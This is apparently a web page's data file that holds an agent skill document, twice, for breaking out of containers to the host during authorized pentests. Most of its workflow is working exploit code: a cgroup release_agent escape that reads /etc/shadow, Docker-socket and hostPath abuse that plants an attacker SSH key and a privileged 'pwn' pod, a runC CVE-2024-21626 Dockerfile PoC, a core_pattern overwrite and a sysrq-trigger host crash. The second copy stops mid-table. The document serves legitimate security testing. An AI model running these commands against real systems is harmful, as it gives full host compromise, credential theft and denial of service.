[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E3NPCD4CCB06X07S5XZVY1":3,"skill-same:01M7E3NPCD4CCB06X07S5XZVY1":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":6,"ownerDescription":48,"updatedAt":49,"install":50,"resources":63},"01M7E3NPCD4CCB06X07S5XZVY1","escaping-containers-to-host",null,"Exploits privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of a container and reach the underlying host during an authorized container-security assessment. Use when executing an approved breakout test, demonstrating the real impact of a privileged or hostPath workload, or validating that escape mitigations actually hold. Keywords: container breakout, privileged, hostPath, docker.sock, runC CVE-2019-5736, CVE-2024-21626, release_agent, nsenter. Do not use for defensive detection of these techniques - use detecting-container-escape-attempts.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: escaping-containers-to-host\ndescription: >-\n  Exploits privileged pods, host mounts, runC CVEs, and exposed Docker sockets to break out of\n  a container and reach the underlying host during an authorized container-security\n  assessment. Use when executing an approved breakout test, demonstrating the real impact of a\n  privileged or hostPath workload, or validating that escape mitigations actually hold.\n  Keywords: container breakout, privileged, hostPath, docker.sock, runC CVE-2019-5736,\n  CVE-2024-21626, release_agent, nsenter. Do not use for defensive detection of these\n  techniques - use detecting-container-escape-attempts.\ndomain: cybersecurity\nsubdomain: container-security\ntags:\n- container-escape\n- privileged-container\n- runc-cve\n- docker-socket\n- host-mount\n- kubernetes\n- privilege-escalation\n- breakout\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\nmitre_attack:\n- T1611\n---\n# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` \u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n","# Escaping Containers to Host\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Container breakout grants full host compromise. Only run these techniques against systems you own or have explicit written authorization to test. Unauthorized use is illegal and may violate computer fraud laws.\n\n## Overview\n\nContainer escape (MITRE ATT&CK T1611, Escape to Host) is the act of breaking the isolation boundary between a container and the host operating system, giving an attacker code execution in the host namespace — and, on Kubernetes, frequently a route to the entire node and then the cluster. Containers share the host kernel and rely on namespaces, cgroups, capabilities, seccomp, and LSMs (AppArmor\u002FSELinux) for isolation. When any of these controls are weakened (a `--privileged` container, a mounted Docker socket, a `hostPath` mount of `\u002F`, excess Linux capabilities such as `CAP_SYS_ADMIN`) or when a runtime contains a vulnerability, that boundary collapses.\n\nThis skill covers the four highest-impact, real-world escape primitives observed by Sysdig, Unit 42, and the runC maintainers:\n\n1. **Misconfiguration escapes** — privileged containers, `CAP_SYS_ADMIN`, host PID\u002FIPC\u002FNetwork namespaces, and `hostPath` mounts.\n2. **Exposed Docker socket** (`\u002Fvar\u002Frun\u002Fdocker.sock`) — mounting the daemon socket into a container hands an attacker root on the host via a new privileged container.\n3. **The \"Leaky Vessels\" runC fd leak, CVE-2024-21626** — runC leaks an internal file descriptor (`\u002Fproc\u002Fself\u002Ffd\u002F7`\u002F`8`) referencing the host filesystem before `pivot_root`; setting the container working directory to that fd lands the process on the host. Patched in runC 1.1.12 (containerd 1.6.28\u002F1.7.13, Docker 25.0.2).\n4. **The November 2025 runC procfs write-redirect family — CVE-2025-31133, CVE-2025-52565, CVE-2025-52881** — race\u002Fsymlink abuse of the `\u002Fdev\u002Fnull`, `\u002Fdev\u002Fconsole`, and other bind mounts performed *before* runC applies `maskedPaths`\u002F`readonlyPaths`, allowing read-write access to `\u002Fproc` entries (e.g. `\u002Fproc\u002Fsysrq-trigger`, `core_pattern`) and arbitrary write redirection. Patched in runC 1.2.8, 1.3.3, and 1.4.0-rc.3.\n\nSources: Palo Alto Networks \"Leaky Vessels\" advisory; Sysdig \"New runc vulnerabilities allow container escape\" (2025); opencontainers\u002Frunc security advisories GHSA-cgrx-mc8f-2prm and GHSA-9493-h29p-rfm2; Unit 42 container-escape research.\n\n## When to Use\n\n- During an authorized container or Kubernetes penetration test after obtaining initial code execution inside a container or pod\n- When validating that runtime defenses (Falco, seccomp, AppArmor) detect or block breakout attempts\n- When assessing the blast radius of a compromised microservice\n- When verifying patch levels of runC\u002Fcontainerd\u002FDocker against the CVEs above\n\n## Prerequisites\n\n- Authorization (signed rules of engagement) covering host\u002Fnode compromise\n- A foothold: a shell inside a target container\n- Reconnaissance utilities inside the container or staged in:\n  ```bash\n  # deepce - Docker enumeration and escape\n  git clone https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce.git\n  # amicontained - container introspection (capabilities, seccomp, namespaces)\n  curl -L https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained\u002Freleases\u002Fdownload\u002Fv0.4.9\u002Famicontained-linux-amd64 -o amicontained\n  chmod +x amicontained\n  # CDK - zero-dependency K8s\u002Fcontainer pentest toolkit\n  curl -L https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK\u002Freleases\u002Flatest\u002Fdownload\u002Fcdk_linux_amd64 -o cdk\n  chmod +x cdk\n  ```\n- A lab cluster\u002Fhost you are permitted to break out of (e.g., kind, minikube, or a dedicated VM)\n\n## Objectives\n\n- Enumerate the container's privilege posture (capabilities, namespaces, mounts, seccomp)\n- Identify which escape primitive is available\n- Execute a host breakout and prove host-level code execution\n- Capture evidence (host hostname, host `\u002Fetc\u002Fshadow` access, or a host file write)\n- Document the root-cause misconfiguration or vulnerable runtime version for remediation\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|--------------|------|--------|\n| T1611 | Escape to Host | Privilege Escalation |\n| T1610 | Deploy Container | Defense Evasion \u002F Execution |\n| T1613 | Container and Resource Discovery | Discovery |\n| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |\n\n## Workflow\n\n### Step 1: Enumerate the Container Environment\n\nDetermine privilege level, capabilities, namespaces, and mounted host paths.\n\n```bash\n# Quick capability + namespace + seccomp introspection\n.\u002Famicontained\n\n# Are we privileged? CapEff ending in ...ffffffff is \"all caps\"\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\ncapsh --decode=$(grep CapEff \u002Fproc\u002Fself\u002Fstatus | awk '{print $2}')\n\n# Host filesystem or docker socket mounted in?\nmount | grep -E 'docker.sock|hostPath|\u002Fhost'\nls -la \u002Fvar\u002Frun\u002Fdocker.sock 2>\u002Fdev\u002Fnull\nfindmnt -o TARGET,SOURCE,FSTYPE,OPTIONS\n\n# Sharing host namespaces? (host PID = can see host processes)\nps aux | head        # if you see systemd\u002Fhost pids, hostPID:true\nls -la \u002Fproc\u002F1\u002Froot  # if readable as host root, namespace is shared\n\n# Automated enumeration\n.\u002Fdeepce.sh\n.\u002Fcdk evaluate\n```\n\n### Step 2: Escape via a Privileged Container (cgroup release_agent)\n\nA `--privileged` container (or one with `CAP_SYS_ADMIN`) can mount a cgroup hierarchy and abuse the `release_agent` to run a command on the host when the last process in a cgroup exits.\n\n```bash\n# Confirm we can mount (CAP_SYS_ADMIN present)\n# Create a cgroup mount and enable release_agent notification\nmkdir \u002Ftmp\u002Fcgrp && mount -t cgroup -o rdma cgroup \u002Ftmp\u002Fcgrp 2>\u002Fdev\u002Fnull || \\\n  mount -t cgroup -o memory cgroup \u002Ftmp\u002Fcgrp\nmkdir \u002Ftmp\u002Fcgrp\u002Fx\necho 1 > \u002Ftmp\u002Fcgrp\u002Fx\u002Fnotify_on_release\n\n# Find the container rootfs path on the host\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab | head -1)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fcgrp\u002Frelease_agent\n\n# Payload that runs on the HOST\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nps aux > \u002Foutput\nhostname >> \u002Foutput\ncat \u002Fetc\u002Fshadow >> \u002Foutput\nEOF\nchmod +x \u002Fcmd\n\n# Trigger: spawn and immediately exit a process in the cgroup\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fcgrp\u002Fx\u002Fcgroup.procs\"\ncat \u002Foutput   # host process list \u002F shadow proves escape\n```\n\n### Step 3: Escape via a Mounted Docker Socket\n\nIf `\u002Fvar\u002Frun\u002Fdocker.sock` is bind-mounted into the container, you control the host Docker daemon and can launch a new container that mounts the host root.\n\n```bash\n# Confirm reachability\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock version 2>\u002Fdev\u002Fnull || \\\n  curl -s --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fversion\n\n# Launch a privileged container mounting host \u002F and chroot into it\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run -it --rm \\\n  --privileged --net=host --pid=host \\\n  -v \u002F:\u002Fhost alpine chroot \u002Fhost sh\n\n# Pure-curl variant (no docker CLI in container):\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"\u002Fbin\u002Fsh\",\"-c\",\"cat \u002Fhost\u002Fetc\u002Fshadow\"],\n       \"Binds\":[\"\u002F:\u002Fhost\"],\"Privileged\":true}' \\\n  http:\u002F\u002Flocalhost\u002Fcontainers\u002Fcreate?name=esc\ncurl -s -XPOST --unix-socket \u002Fvar\u002Frun\u002Fdocker.sock http:\u002F\u002Flocalhost\u002Fcontainers\u002Fesc\u002Fstart\n```\n\n### Step 4: Escape via a hostPath Mount (Kubernetes)\n\nA pod with a `hostPath` volume of `\u002F` (or a sensitive host dir) lets you read\u002Fwrite host files directly — e.g., drop a root SSH key or a privileged static pod manifest.\n\n```bash\n# If \u002Fhost is the hostPath mount of node root:\nls \u002Fhost\n# Persist: add an attacker key for node root login\nmkdir -p \u002Fhost\u002Froot\u002F.ssh\necho \"ssh-ed25519 AAAA... attacker@kali\" >> \u002Fhost\u002Froot\u002F.ssh\u002Fauthorized_keys\n\n# Or write a privileged static pod manifest that kubelet will auto-run as root\ncat > \u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests\u002Fpwn.yaml \u003C\u003C'EOF'\napiVersion: v1\nkind: Pod\nmetadata: {name: pwn, namespace: kube-system}\nspec:\n  hostPID: true\n  containers:\n  - name: pwn\n    image: alpine\n    command: [\"\u002Fbin\u002Fsh\",\"-c\",\"sleep 1d\"]\n    securityContext: {privileged: true}\n    volumeMounts: [{name: host, mountPath: \u002Fhost}]\n  volumes: [{name: host, hostPath: {path: \u002F}}]\nEOF\n```\n\n### Step 5: Exploit runC CVE-2024-21626 (Leaky Vessels fd leak)\n\nIf the runtime is runC \u003C= 1.1.11, the leaked host-cwd fd can be used. With `docker build`\u002F`docker run` control, set the working directory to `\u002Fproc\u002Fself\u002Ffd\u002F\u003CN>` (commonly 7 or 8).\n\n```bash\n# Detect vulnerable runtime version (host or via runc binary in image)\nrunc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11\ndocker info --format '{{.DefaultRuntime}}'\n\n# Proof-of-concept via a malicious image WORKDIR (run-time variant)\ncat > Dockerfile \u003C\u003C'EOF'\nFROM alpine\n# fd 7\u002F8 leaked by runc references the HOST cwd before pivot_root\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nRUN [\"\u002Fbin\u002Fsh\",\"-c\",\"cd ..\u002F..\u002F..\u002F..\u002F ; cat etc\u002Fshadow ; cat etc\u002Fhostname\"]\nEOF\ndocker build --no-cache -t leaky .\n\n# Run-time variant: the container lands in a host directory\ndocker run --rm --workdir \u002Fproc\u002Fself\u002Ffd\u002F8 alpine \\\n  sh -c 'cd ..\u002F..\u002F..\u002F.. && cat etc\u002Fshadow'\n# Reference PoC: github.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape\n```\n\n### Step 6: Exploit the 2025 runC procfs Write-Redirect Family\n\nFor runC \u003C= 1.2.7 \u002F 1.3.2 \u002F 1.4.0-rc.2, CVE-2025-31133\u002F52565\u002F52881 abuse a race between the `\u002Fdev\u002Fnull`\u002F`\u002Fdev\u002Fconsole` bind mount and the application of `maskedPaths`, replacing the mount target with a symlink so a host `\u002Fproc` entry becomes writable. Writing `core_pattern` or `\u002Fproc\u002Fsysrq-trigger` yields host code execution.\n\n```bash\n# Confirm vulnerable runtime\nrunc --version   # vulnerable: \u003C= 1.2.7, 1.3.2, 1.4.0-rc.2\n\n# Conceptual exploitation flow (use maintainers' PoC in a lab):\n#  1. Start a container that, during init, swaps the \u002Fdev\u002Fconsole (or a\n#     custom device) bind-mount target for a symlink to \u002Fproc\u002Fsysrq-trigger.\n#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.\n#  3. Redirect a write to host procfs:\necho c > \u002Fproc\u002Fsysrq-trigger     # would crash host (DoS) - demonstrates RW\n#  4. For code exec, redirect the write to \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern:\necho '|\u002Fbin\u002Fsh -c \"id>\u002Fhost_pwn\"' > \u002Fproc\u002Fsys\u002Fkernel\u002Fcore_pattern\n#     then trigger a core dump in any host-visible process.\n# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2\n```\n\n### Step 7: Validate the Patched State and Document Remediation\n\n```bash\n# Verify runtimes are patched\nrunc --version              # want >= 1.2.8 \u002F 1.3.3 \u002F 1.4.0-rc.3 (and != vuln 1.1.x)\ndocker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626\ncontainerd --version        # >= 1.6.28 \u002F 1.7.13\n\n# Confirm hardening for misconfig escapes\ndocker inspect \u003Cctr> --format '{{.HostConfig.Privileged}}'   # want false\nkubectl get pod \u003Cpod> -o jsonpath='{.spec.containers[*].securityContext}'\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| amicontained | Capability\u002Fnamespace\u002Fseccomp introspection | https:\u002F\u002Fgithub.com\u002Fgenuinetools\u002Famicontained |\n| deepce | Docker enumeration & escape automation | https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | 